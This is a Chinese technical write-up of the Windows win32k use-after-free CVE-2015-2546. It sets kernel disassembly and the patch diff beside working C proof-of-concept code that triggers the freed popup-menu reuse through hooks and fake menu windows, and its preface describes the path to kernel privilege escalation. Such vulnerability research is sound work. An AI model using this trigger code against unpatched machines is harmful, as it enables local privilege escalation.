作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/122.html
這篇文章將分析 Windows 操作系統 win32k 內核模塊窗口管理器子系統中的 CVE-2015-2546 漏洞,與上一篇分析的 CVE-2017-0263 漏洞類似地,這個漏洞也是彈出菜單 tagPOPUPMENU 對象的釋放后重用(UAF)漏洞。分析的環境是 Windows 7 x86 SP1 基礎環境的虛擬機。

0x0 前言
這篇文章分析了發生在窗口管理器(User)子系統的菜單管理組件中的 CVE-2015-2546 UAF(釋放后重用)漏洞。在內核函數 xxxMNMouseMove 調用 xxxSendMessage 向目標菜單窗口對象發送 MN_SELECTITEM 消息期間,執行流存在發生用戶回調的可能性;在發送消息的函數調用返回后,函數 xxxMNMouseMove 沒有重新獲取目標菜單窗口對象所關聯的彈出菜單 tagPOPUPMENU 對象的地址,而直接使用在發送 MN_SELECTITEM 消息之前就存儲在寄存器 ebx 中的彈出菜單對象地址,將該地對象址作為參數傳遞給 xxxMNHideNextHierarchy 函數調用,并在該函數中對目標彈出菜單對象進行訪問。
如果用戶進程先前通過利用技巧構造了特殊關聯和屬性的菜單窗口對象,并設置特定的掛鉤處理程序,那么在調用 xxxSendMessage 向目標菜單窗口對象發送 MN_SELECTITEM 消息期間,執行流返回到用戶上下文,用戶進程中的利用代碼將有足夠的能力觸發銷毀目標菜單窗口對象,從而在內核中直接釋放菜單窗口對象關聯的彈出菜單對象;當執行流返回到內核上下文時,寄存器 ebx 中存儲的地址指向的內存已被釋放,而函數在將該地址作為參數傳遞給函數 xxxMNHideNextHierarchy 之前缺少必要的驗證,這將導致 UAF 漏洞的發生。
在觸發銷毀目標菜單窗口對象之后,用戶進程中的利用代碼通過巧妙的內存布局,使系統重新分配相同大小的內存區域以占用先前釋放的彈出菜單對象的內存塊,偽造新的彈出菜單對象并構造相關成員域,在用戶進程地址空間中偽造新的子菜單窗口對象和關聯的消息處理函數,并將窗口對象的地址存儲在偽造的彈出菜單對象成員域 spwndNextPopup 中。在內核中函數 xxxMNHideNextHierarchy 將向目標彈出菜單對象的成員域 spwndNextPopup指向的子菜單窗口對象發送 MN_SELECTITEM 消息,這將使執行流直接在內核上下文中直接進入定義在用戶進程地址空間中的偽造消息處理函數,執行函數中的內核利用代碼,實現內核利用和提權的目的。
0x1 原理
CVE-2015-2546 漏洞發生在內核函數 win32k!xxxMNMouseMove 中。在該函數執行期間,在調用函數 xxxSendMessage 向目標菜單窗口對象發送 0x1F0(MN_SETTIMERTOOPENHIERARCHY) 消息之后,如果函數返回值為 0,系統將在未對寄存器 ebx 中存儲的目標彈出菜單 tagPOPUPMENU 對象的內存地址進行有效性校驗的情況下就調用函數 xxxMNHideNextHierarchy 并將該地址傳入函數的 popupMenu 參數。
.text:00139530 push edi ; lParam
.text:00139531 push edi ; wParam
.text:00139532 push 1F0h ; message
.text:00139537 push esi ; pwnd
.text:00139538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:0013953D test eax, eax
.text:0013953F jnz short loc_139583
.text:00139541 push ebx ; popupMenu
.text:00139542 call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:00139547 jmp short loc_139583
存在漏洞的目標代碼片段
與補丁進行對比,發現補丁在調用函數 xxxSendMessage 發送 MN_SETTIMERTOOPENHIERARCHY 消息和調用函數 xxxMNHideNextHierarchy 的語句之間增加對目標窗口對象擴展區域指向關聯彈出菜單對象的指針和寄存器 ebx 中存儲數值的對比判斷,如果不相等則將跳過函數 xxxMNHideNextHierarchy 的調用。
.text:BF93EC2E push edi ; lParam
.text:BF93EC2F push edi ; wParam
.text:BF93EC30 push 1F0h ; message
.text:BF93EC35 push esi ; pwnd
.text:BF93EC36 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93EC3B test eax, eax
.text:BF93EC3D jnz short loc_BF93EC8C
.text:BF93EC3F mov eax, [ebp+pwnd]
.text:BF93EC42 cmp [eax+0B0h], ebx
.text:BF93EC48 jnz short loc_BF93EC8C
.text:BF93EC4A push ebx
.text:BF93EC4B call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:BF93EC50 jmp short loc_BF93EC8C
補丁修復的目標代碼片段
在 Windows 內核中,菜單對象在屏幕中的顯示通過窗口 tagWND 對象的特殊類型 #32768(MENUCLASS) 菜單窗口對象來實現,菜單窗口對象末尾的擴展區域中存儲指向關聯的彈出菜單 tagPOPUPMENU 對象的指針。
菜單窗口對象和彈出菜單對象的對應關系
當函數 xxxSendMessage 發送 MN_SETTIMERTOOPENHIERARCHY 消息時,系統最終在函數 xxxMenuWindowProc 中接收并調用函數 MNSetTimerToOpenHierarchy 以處理消息并向調用者返回該函數的返回值。
當執行流返回到函數 xxxMNMouseMove 中時,系統判斷返回值,如果返回值為 0 則調用函數 xxxMNHideNextHierarchy 以關閉目標彈出菜單 tagPOPUPMENU 對象的彈出子菜單。
由于在調用函數 xxxMNHideNextHierarchy 之前,函數 xxxMNMouseMove 中還存在調用 xxxSendMessage 函數以發送 MN_SETTIMERTOOPENHIERARCHY 消息的語句,這將有可能導致執行流反向調用到用戶進程中。因此,在此期間攻擊者可以在用戶進程中觸發邏輯使目標彈出菜單 tagPOPUPMENU 對象的內存被釋放或重新分配,這將導致目標參數 popupMenu 指向內存區域中存在不可控的數據。如果攻擊代碼對在原位置重新分配的內存塊中的數據進行刻意構造,那么在函數 xxxMNHideNextHierarchy 中向子菜單窗口對象發送消息時,將使內核上下文的執行流可能直接進入位于用戶進程地址空間的利用代碼函數中。
0x2 追蹤
在 win32k 內核模塊中,存在來自其他函數的兩處對函數 xxxMNMouseMove 的調用:
- xxxHandleMenuMessages(x,x,x)+2E9
- xxxMenuWindowProc(x,x,x,x)+D1C
其中一處是在函數 xxxHandleMenuMessages 處理 WM_MOUSEMOVE 或 WM_NCMOUSEMOVE 消息時,另一處是在函數 xxxMenuWindowProc 處理 MN_MOUSEMOVE 消息時。
通過 WinDBG 對函數 xxxMNMouseMove 下斷點并在虛擬機桌面區域彈出右鍵菜單,觀測在自然條件下系統會通過哪些路徑調用該函數,發現得到的調用棧都基本如下:
# ChildEBP RetAddr
00 98af4a90 94779066 win32k!xxxMNMouseMove
01 98af4aec 94778c1f win32k!xxxHandleMenuMessages+0x2ed
02 98af4b38 9477f8f1 win32k!xxxMNLoop+0x2c6
03 98af4ba0 9477f9dc win32k!xxxTrackPopupMenuEx+0x5cd
04 98af4c14 83e501ea win32k!NtUserTrackPopupMenuEx+0xc3
05 98af4c14 76e170b4 nt!KiFastCallEntry+0x12a
函數 xxxMNMouseMove 的自然條件調用棧
xxxMNMouseMove
在函數 xxxMNMouseMove 開始的位置,函數判斷通過參數傳入的彈出菜單 tagPOPUPMENU 對象是否為當前的根彈出菜單對象,并判斷傳入的鼠標坐標與先前存儲在當前菜單狀態 tagMENUSTATE 結構體的坐標相比是否確實改變,如果不滿足條件則直接返回。接下來函數通過調用 xxxMNFindWindowFromPoint 函數并將目標彈出菜單對象指針和新的坐標作為參數傳入,以查找該坐標點坐落的在屏幕中顯示的菜單窗口對象。當返回值是真實的菜單窗口對象地址時,函數將該窗口對象作為目標窗口對象,將鼠標坐標位于的菜單項序號作為參數 wParam 向目標窗口對象發送 0x1E5(MN_SELECTITEM) 消息以執行選擇菜單項的操作,并接收函數的返回值作為反饋標志變量。
在函數 xxxMNMouseMove 中調用 xxxSendMessage 以發送 MN_SETTIMERTOOPENHIERARCHY 消息的語句之前,函數判斷前面返回的反饋標志變量的數值,以確保被指針指向的菜單項關聯另一個彈出式菜單(MF_POPUP)作為子菜單,并且不處于禁用狀態(MFS_GRAYED)。
.text:00139517 xor edi, edi
.text:00139519 push edi ; lParam
.text:0013951A push [ebp+cmdItem] ; wParam
.text:0013951D push 1E5h ; message
.text:00139522 push esi ; pwnd
.text:00139523 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:00139528 test al, 10h ; MF_POPUP
.text:0013952A jz short loc_139583
.text:0013952C test al, 3 ; MFS_GRAYED
.text:0013952E jnz short loc_139583
函數 xxxMNMouseMove 判斷選擇菜單項反饋的標志變量數值
接下來函數通過調用函數 xxxSendMessage 向目標菜單窗口對象發送 MN_SETTIMERTOOPENHIERARCHY 消息來設置打開彈出子菜單的定時器。如果函數返回值為 0 表示彈出子菜單的操作執行失敗,那么函數調用 xxxMNHideNextHierarchy 來關閉所屬于當前的目標彈出菜單對象的子彈出菜單。
popupNext = popupMenu->spwndNextPopup;
if ( popupNext )
{
[...]
popupNext = popupMenu->spwndNextPopup;
if ( popupNext != popupMenu->spwndActivePopup )
xxxSendMessage(popupNext, 0x1E4, 0, 0); // MN_CLOSEHIERARCHY
xxxSendMessage(popupMenu->spwndNextPopup, 0x1E5, 0xFFFFFFFF, 0); // MN_SELECTITEM
[...]
}
函數 xxxMNHideNextHierarchy 的代碼片段
函數 xxxMNHideNextHierarchy 判斷目標彈出菜單對象的成員域 spwndNextPopup 指向的菜單窗口對象是否和成員域 spwndActivePopup 指向的相同。成員域 spwndNextPopup 指向與當前彈出菜單對象直接關聯的子菜單的菜單窗口對象;而成員域 spwndActivePopup 用來存儲當前正活躍菜單(即當前鼠標或鍵盤焦點所在的菜單)的菜單窗口對象。如果不相同,那么函數向成員域 spwndNextPopup 指向的子菜單窗口對象發送 MN_CLOSEHIERARCHY 消息,最終在消息處理函數 xxxMenuWindowProc 中接收該消息并對目標窗口對象關聯的彈出菜單對象調用 xxxMNCloseHierarchy 以處理關閉子菜單的菜單對象菜單層疊狀態的任務。
緊接著函數調用 xxxSendMessage 向子菜單窗口對象發送 MN_SELECTITEM 消息并向參數 wParam 傳入 0xFFFFFFFF 數值以表示沒有選擇真實的菜單項,最終消息處理程序調用函數 xxxMNSelectItem 來處理選擇菜單項的任務。
函數 xxxMNMouseMove 的簡要執行邏輯
像前面提到的那樣,函數 xxxMNHideNextHierarchy 在調用 xxxSendMessage 向成員域 spwndNextPopup 指向的子菜單窗口對象發送消息之前缺少對目標彈出菜單對象和傳入參數的子菜單窗口對象進行必要的驗證。
xxxMNFindWindowFromPoint
彈出菜單和其存在的子彈出菜單通過彈出菜單對象的成員域 spwndNextPopup 和 spwndPrevPopup 相互關聯。
彈出菜單對象和其存在的子彈出菜單對象的關聯
像函數名稱前綴 xxx 所代表的含義那樣,函數 xxxMNFindWindowFromPoint 中存在回調到用戶上下文執行的代碼邏輯。函數判斷第一個參數指向的彈出菜單 tagPOPUPMENU 對象的成員域 spwndNextPopup 是否指向存在的子菜單窗口對象,如果是則函數調用 xxxSendMessage 向子菜單窗口對象發送 MN_FINDMENUWINDOWFROMPOINT 消息以將查找坐標點坐落的菜單窗口對象的任務暫時交給子菜單對象執行。
*puIndex = 0;
pwndNextPopup = popupMenu->spwndNextPopup;
if ( pwndNextPopup )
{
tlpwndT = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&tlpwndT;
v24 = pwndNextPopup;
++pwndNextPopup->head.cLockObj;
longHit = xxxSendMessage(
popupMenu->spwndNextPopup,
0x1EB, // MN_FINDMENUWINDOWFROMPOINT
(WPARAM)&itemHit,
(unsigned __int16)screenPt | (screenPt >> 16 << 16));
ThreadUnlock1();
if ( IsMFMWFPWindow(longHit) )
longHit = HMValidateHandleNoSecure((HWND)longHit, 1);
if ( longHit )
{
*puIndex = itemHit;
return longHit;
}
}
函數 xxxMNFindWindowFromPoint 的代碼邏輯片段
在通過函數 xxxSendMessageTimeout 向窗口對象發送消息時,系統在調用對象指定的消息處理程序之前,還會調用 xxxCallHook 函數用來調用先前由用戶進程設定的 WH_CALLWNDPROC 類型的掛鉤處理程序。設置這種類型的掛鉤會在每次線程將消息發送給窗口對象之前調用。
if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
v22 = pwnd->head.h;
v20 = wParam;
v19 = lParam;
v21 = message;
v23 = 0;
xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}
函數 xxxSendMessageTimeout 調用 xxxCallHook 函數
系統最終在菜單窗口消息處理函數 xxxMenuWindowProc 中接收并處理 MN_FINDMENUWINDOWFROMPOINT 消息,并將子菜單窗口對象的彈出菜單對象作為目標參數以繼續調用 xxxMNFindWindowFromPoint 函數。
case 0x1EBu:
pwnd = xxxMNFindWindowFromPoint((WCHAR)popupMenu, wParam, (int)lprc);
if ( IsMFMWFPWindow(pwnd) )
{
if ( !pwnd )
return 0;
lRet = (LRESULT)*pwnd; // pwnd->head.h
}
else
{
lRet = pwnd;
}
return lRet;
函數 xxxMenuWindowProc 處理 MN_FINDMENUWINDOWFROMPOINT 消息
函數 xxxSendMessage 向調用者函數 xxxMNFindWindowFromPoint 返回通過子菜單窗口對象查找的坐標點坐落窗口對象的用戶句柄。接下來函數將該句柄轉換成窗口對象指針,如果該指針指向真實的菜單窗口對象,則直接將該指針作為返回值返回。然而,如果目標彈出菜單對象的成員域 spwndNextPopup 不存在關聯的子菜單窗口對象,或是函數 xxxSendMessage 返回的是 0xFFFFFFFB 或 0xFFFFFFFF 等代表窗口對象未找到的返回值,那么函數將繼續向下執行,轉而通過彈出菜單對象成員域 spwndPopupMenu 指向的當前菜單窗口對象執行查找任務。
函數 xxxMNFindWindowFromPoint 的簡要執行流
xxxMNDestroyHandler
當在內核中調用函數 xxxDestroyWindow 銷毀特定的菜單窗口對象期間,系統在函數 xxxFreeWindow 中根據目標窗口對象的成員域 fnid 的值調用對應的消息處理包裝函數 xxxWrapMenuWindowProc 并傳入 WM_FINALDESTROY 消息參數,最終在函數 xxxMenuWindowProc 中接收該消息并通過調用函數 xxxMNDestroyHandler 對目標菜單窗口對象關聯的彈出菜單對象執行清理相關數據的任務。
.text:0008D9B6 lea ecx, [eax+6]
.text:0008D9B9 xor eax, eax
.text:0008D9BB push eax
.text:0008D9BC push eax
.text:0008D9BD push eax
.text:0008D9BE mov eax, _gpsi
.text:0008D9C3 push 70h ; WM_FINALDESTROY
.text:0008D9C5 and ecx, 1Fh
.text:0008D9C8 push esi
.text:0008D9C9 call dword ptr [eax+ecx*4+8]
函數 xxxFreeWindow 根據成員域 fnid 調用消息處理包裝函數
在函數 xxxMNDestroyHandler 的末尾,函數將位于目標菜單窗口 tagWND 對象末尾擴展區域中指向關聯的彈出菜單對象的指針置空;然后判斷目標彈出菜單對象的成員標志位 fDelayedFree 是否處于置位狀態,并據此決定是在完整菜單終止時再進行對目標彈出菜單對象的延時釋放,還是在當前時刻立即釋放目標彈出菜單對象。
pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u; // fDestroyed
if ( pwnd )
*(_DWORD *)(pwnd + 0xB0) = 0; // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 ) // fDelayedFree
{
popupmenuRoot = popupMenu->ppopupmenuRoot;
if ( popupmenuRoot )
*(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
MNFreePopup(popupMenu);
}
函數 xxxMNDestroyHandler 的代碼片段
在內核中通過正規途徑創建上下文彈出菜單對象時,根彈出菜單對象或子彈出菜單對象的成員標志位 fDelayedFree 默認情況下都會在函數 xxxTrackPopupMenuEx 或 xxxMNOpenHierarchy 中被置位。
另外,和本分析中的漏洞相關的更多系統機制在我之前的分析文章《從 CVE-2017-0263 漏洞分析到菜單管理組件》中有更詳盡的涉及,如果感興趣的話請點擊鏈接移步。
0x3 驗證
通過在桌面點擊鼠標右鍵,并使鼠標指針指向某個作為子彈出菜單入口的子菜單項(如“新建”命令)以嘗試使執行流觸達漏洞所在的位置,我發現始終無法命中,這是由于系統每次向目標菜單窗口發送 MN_SETTIMERTOOPENHIERARCHY 消息時都執行成功并返回成功的返回值,這樣一來自然就不會觸達漏洞所在的 xxxMNHideNextHierarchy 函數調用,因此需要自行構造驗證代碼以實現漏洞觸發。
接下來談一下觸發的思路:
#1 使 MN_SETTIMERTOOPENHIERARCHY 消息返回失敗
在函數 xxxMNMouseMove 執行期間,要想使發送 MN_SETTIMERTOOPENHIERARCHY 消息的 xxxSendMessage 函數調用返回失敗的返回值,最直接的做法就是在調用之前的某個時機將目標菜單窗口對象的消息處理函數篡改為在用戶進程中的自定義消息處理函數,并在自定義消息處理函數中針對這種消息返回失敗的返回值。
#2 釋放目標彈出菜單對象
要想在漏洞所在位置觸發釋放后重用(UAF)漏洞,則需要在適當時機執行對目標彈出菜單 tagPOPUPMENU 對象的釋放。這個操作最好能在通過函數 xxxSendMessage 發送 MN_SETTIMERTOOPENHIERARCHY 消息期間執行。
前面已經提到,在發送消息時,調用對象指定的消息處理函數之前,系統會調用 xxxCallHook 函數分發調用先前由用戶進程定義的 WH_CALLWNDPROC 窗口掛鉤處理程序。因此,我們可以通過設置這種類型的掛鉤處理程序,并在處理程序函數中對目標菜單窗口對象調用 DestroyWindow 等函數以觸發對目標窗口對象的銷毀操作。
調用 DestroyWindow 函數時,在內核中將進入函數 xxxDestroyWindow 中執行對目標菜單窗口對象的銷毀操作。最終在內核函數 xxxMNDestroyHandler 中,如果目標菜單窗口對象的成員標志位 fDelayedFree 未置位,那么系統將直接調用函數 MNFreePopup 釋放目標彈出菜單對象。
釋放目標彈出菜單對象的思路
然而,在內核中通過正規途徑創建上下文彈出菜單對象時,根彈出菜單對象或子彈出菜單對象的成員標志位 fDelayedFree 默認情況下都會在函數 xxxTrackPopupMenuEx 或 xxxMNOpenHierarchy 中被置位,因此我們需要先前單獨創建窗口類型為 #32768(MENUCLASS) 的窗口對象作為被利用的目標對象,而不是使用通過正規途徑創建的菜單窗口對象,這樣一來新創建的菜單窗口對象同樣存在通過擴展區域關聯的彈出菜單 tagPOPUPMENU 對象作為擴展對象,并且所關聯的彈出菜單 tagPOPUPMENU 對象的成員域 fDelayedFree 將不會被置位,后續在函數 xxxMNDestroyHandler 中的釋放操作將立即執行。
#3 使 xxxMNFindWindowFromPoint 返回目標窗口對象
由于用來利用的目標菜單窗口對象是我們單獨創建的,并不存在具體對應的某個菜單實體對象,因此通常情況下函數 xxxMNFindWindowFromPoint 不可能返回我們創建的菜單窗口對象指針。
根據前面的分析,函數 xxxMNFindWindowFromPoint 判斷通過參數傳入的彈出菜單對象成員域 spwndNextPopup 是否指向存在的子菜單窗口對象,如果是則調用 xxxSendMessage 向子菜單窗口對象發送 MN_FINDMENUWINDOWFROMPOINT 以將查找坐標點坐落的菜單窗口對象的任務暫時交給子菜單對象執行。
這樣一來,可以通過將子菜單窗口對象的消息處理函數成員域篡改為用戶進程中的自定義消息處理函數,并在自定義消息處理函數中返回我們先前創建的用來利用的目標菜單窗口對象的句柄。因此,函數 xxxMNFindWindowFromPoint 將收到由 xxxSendMessage 函數返回的真實的窗口對象句柄,并在轉換成對象指針后向上級調用者返回。
而由于子菜單窗口對象關聯具體的菜單,很多向其發送的消息需要在消息處理函數 xxxMenuWindowProc 中執行,因此需要在較為接近的時機替換。這可以通過設置 WH_CALLWNDPROC 窗口掛鉤處理程序來執行。
#4 觸發鼠標移動消息
這樣一來,這就需要在利用代碼中創建相互關聯的根菜單和子菜單。
當子菜單完成在屏幕中的顯示時,根菜單窗口對象和子菜單窗口對象已經通過各自的彈出菜單 tagPOPUPMENU 對象完成關聯。在這一時機通過在用戶進程定義的事件通知處理程序函數中調用函數 SendMessage 向根菜單窗口對象發送 WM_MOUSEMOVE 消息,可以使系統在內核中進入函數 xxxMNMouseMove 調用。
驗證代碼的實現
接下來根據思路實現具體的驗證代碼,用戶進程中驗證代碼的大部分代碼邏輯都在新創建的單獨線程中執行。
在驗證代碼的主函數中通過 CreatePopupMenu 等函數創建兩個彈出式的菜單對象,并在添加菜單項時將兩個菜單對象相互關聯,使第二個成為第一個的子菜單。
HMENU hMenuList[2] = { 0 };
hMenuList[0] = CreatePopupMenu();
hMenuList[1] = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuList[0], &mi);
SetMenuInfo(hMenuList[1], &mi);
LPCSTR szMenuItem = "item";
AppendMenuA(hMenuList[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuList[1], szMenuItem);
AppendMenuA(hMenuList[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
創建并關聯根菜單和子菜單對象的驗證代碼
菜單的顯示需要有用于承載的窗口作為菜單的擁有者窗口對象。注冊并創建普通窗口類和窗口對象并將句柄存儲在 hWindowMain 全局變量中:
WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = cbWndExtra;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = lpszClassName;
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
創建擁有者窗口對象的驗證代碼
接下來創建關鍵的 #32768 類型的菜單窗口對象并將句柄存儲在 hwndFakeMenu 全局變量中,這個窗口對象接下來將作為用來利用的目標對象。同時將新創建目標窗口對象的消息處理函數成員域篡改為由驗證代碼后續自定義的 xxFakeMenuWindowProc 消息處理函數。
hwndFakeMenu = CreateWindowExW(WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
L"#32768",
NULL,
WS_POPUP | WS_BORDER,
0,
0,
1,
1,
NULL,
NULL,
NULL,
NULL);
SetWindowLongW(hwndFakeMenu, GWL_WNDPROC, (LONG)xxFakeMenuWindowProc);
創建用來利用的菜單窗口對象的驗證代碼
設置類型為 WH_CALLWNDPROC 的自定義掛鉤處理程序,并設置范圍包括 EVENT_SYSTEM_MENUPOPUPSTART 的自定義事件通知處理程序。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
設置自定義掛鉤處理程序和事件通知處理程序的驗證代碼
接下來通過調用 TrackPopupMenuEx 函數觸發作為根菜單的第一個菜單對象在屏幕中的顯示;然后使用 GetMessage 使當前線程進入消息循環狀態。
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
觸發第根菜單對象在屏幕中顯示的驗證代碼
當用戶進程調用函數 TrackPopupMenuEx 時,系統在內核中最終調用到 xxxTrackPopupMenuEx 函數處理彈出菜單操作。在顯示任務執行完成時,函數調用 xxxWindowEvent 以分發 EVENT_SYSTEM_MENUPOPUPSTART 類型的事件通知,這表示目標菜單對象已顯示在屏幕中。
在該事件通知分發后,執行流會進入驗證代碼自定義的事件通知處理程序 xxWindowEventProc 中。在處理程序中進行計數,并存儲每次進入時的窗口句柄 hwnd 參數。當第一次進入處理程序函數時,表示根菜單已顯示在屏幕中,處理程序將窗口句柄參數存儲在全局變量 hwndRootMenu 中,并調用函數 SendMessage 向根菜單窗口對象發送 WM_LBUTTONDOWN 鼠標左鍵按下的消息以觸發子菜單的彈出顯示,并在參數 lParam 傳入鼠標按下的相對坐標,坐標值應在當前菜單的子菜單項區域范圍內,這將在內核中進入函數 xxxMNOpenHierarchy 處理子菜單的顯示。與前面同樣地,在顯示任務執行完成時,函數調用 xxxWindowEvent 以分發 EVENT_SYSTEM_MENUPOPUPSTART 類型的事件通知,這表示目標菜單對象已顯示在屏幕中。
當第二次進入處理程序函數時,表示子菜單已顯示在屏幕中,根菜單窗口對象和子菜單窗口對象此時已經通過各自的彈出菜單 tagPOPUPMENU 對象完成關聯。處理程序將窗口句柄參數存儲在全局變量 hwndHintMenu 中,并調用函數 SendMessage 向第一次進入時存儲的根菜單窗口對象 hwndRootMenu 發送 WM_MOUSEMOVE 鼠標移動的消息。這將使執行流在內核中進入 xxxMNMouseMove 函數中。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
switch (iMenuCreated)
{
case 0:
hwndRootMenu = hwnd;
SendMessageW(hwndRootMenu, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
hwndHintMenu = hwnd;
SendMessageW(hwndRootMenu, WM_MOUSEMOVE, 0, 0x00060006);
break;
}
iMenuCreated++;
}
驗證代碼自定義的事件通知處理程序函數
需要注意的是,這兩次對函數 SendMessage 的調用中,參數 lParam 均作為鼠標指針的相對坐標,其 32 位數據的高低 16 位分別存儲橫坐標和縱坐標的相對值。兩次調用時傳入的 lParam 參數不能重復,否則將導致在函數 xxxMNMouseMove 中判斷坐標是否改變時得到未改變的結果,函數將直接返回。
在函數 xxxMNMouseMove 執行期間,系統調用函數 xxxMNFindWindowFromPoint 在查找坐標點坐落的菜單窗口對象指針。由于我們為根菜單創建并關聯了子菜單對象,并且子菜單對象已顯示在屏幕中,因此當前的根彈出菜單對象成員域 spwndNextPopup 指向子菜單窗口對象的地址。函數 xxxMNFindWindowFromPoint 將向子菜單窗口對象發送 MN_FINDMENUWINDOWFROMPOINT 消息。在函數 xxxSendMessageTimeout 調用對象指定的消息處理程序之前,將首先調用 xxxCallHook 函數以分發先前由用戶進程設定的 WH_CALLWNDPROC 類型的掛鉤處理程序。這將進入先前驗證代碼自定義的掛鉤處理程序函數 xxWindowHookProc 中。
在自定義掛鉤處理程序函數中,參數 lParam 指向 tagCWPSTRUCT 類型的對象。驗證代碼判斷 tagCWPSTRUCT 對象的成員域 message 的值,當該值為 0x1EB 時,表示當前在內核中正處于在函數 xxxSendMessageTimeout 中調用子菜單窗口對象的消息處理函數以投遞 MN_FINDMENUWINDOWFROMPOINT 消息之前。
驗證代碼判斷當前的目標窗口對象句柄是否為先前存儲的子菜單窗口句柄,如果是的話則修改目標窗口對象的消息處理函數為自定義的 xxHintMenuWindowProc 消息處理函數。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message == 0x1EB && cwp->hwnd == hwndHintMenu)
{
// MN_FINDMENUWINDOWFROMPOINT
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxHintMenuWindowProc);
}
return CallNextHookEx(0, code, wParam, lParam);
}
驗證代碼自定義的掛鉤處理程序函數
執行流回到 xxxSendMessageTimeout 函數中,此時目標菜單窗口對象的消息處理函數已被篡改為自定義的 xxHintMenuWindowProc 消息處理函數,因此將在接下來回調到用戶上下文執行該自定義消息處理函數實現消息投遞。在函數 xxHintMenuWindowProc 中直接返回先前創建用于利用的 hwndFakeMenu 窗口對象句柄。
LRESULT WINAPI
xxHintMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == 0x1EB)
{
return (LRESULT)hwndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
驗證代碼自定義的子菜單窗口對象消息處理函數
在內核中,函數 xxxMNFindWindowFromPoint 將 xxxSendMessage 函數的返回值作為查找到的窗口句柄并轉換成窗口對象,將窗口對象地址作為返回值向上級調用者返回。
在執行一系列的判斷等操作之后,函數 xxxMNMouseMove 調用 xxxSendMessage 函數向查找到的目標菜單窗口對象發送 MN_SELECTITEM 消息。這將進入驗證代碼自定義的利用菜單窗口對象消息處理函數 xxFakeMenuWindowProc 中。
在函數 xxFakeMenuWindowProc 中,驗證代碼判斷消息參數的值。當消息參數值為 0x1E5 時,表示當前正在處理的是 MN_SELECTITEM 消息,根據內核函數的代碼邏輯,驗證代碼在這里將 MF_POPUP(0x00000010L) 作為返回值返回。
函數 xxxMNMouseMove 在對返回的標志變量進行判斷之后,調用函數 xxxSendMessage 發送向目標菜單窗口對象發送 MN_SETTIMERTOOPENHIERARCHY 消息。這將再次進入自定義消息處理函數中。
在函數 xxFakeMenuWindowProc 中,驗證代碼判斷消息參數值為 0x1F0 時,直接將 0 作為返回值返回。在內核中函數將得到“調用失敗”的返回值,因此將繼續向下調用 xxxMNHideNextHierarchy 函數。
LRESULT WINAPI
xxFakeMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
switch (msg)
{
case 0x1E5:
return (LRESULT)MF_POPUP;
case 0x1F0:
return (LRESULT)0;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
驗證代碼自定義的利用菜單窗口對象消息處理函數
在調用對象指定的消息處理函數以投遞 MN_SETTIMERTOOPENHIERARCHY 消息之前,函數 xxxSendMessageTimeout 還調用 xxxCallHook 函數分發掛鉤處理程序。在自定義的掛鉤處理程序函數 xxWindowHookProc 中,增加對成員域 message 數值的判斷:
當 message 數值為 0x1F0 時,驗證代碼調用 DestroyWindow 觸發銷毀先前創建用來利用的 hwndFakeMenu 菜單窗口對象。
if (cwp->message == 0x1F0)
{
DestroyWindow(hwndFakeMenu);
}
自定義掛鉤處理程序函數增加 message 判斷處理邏輯
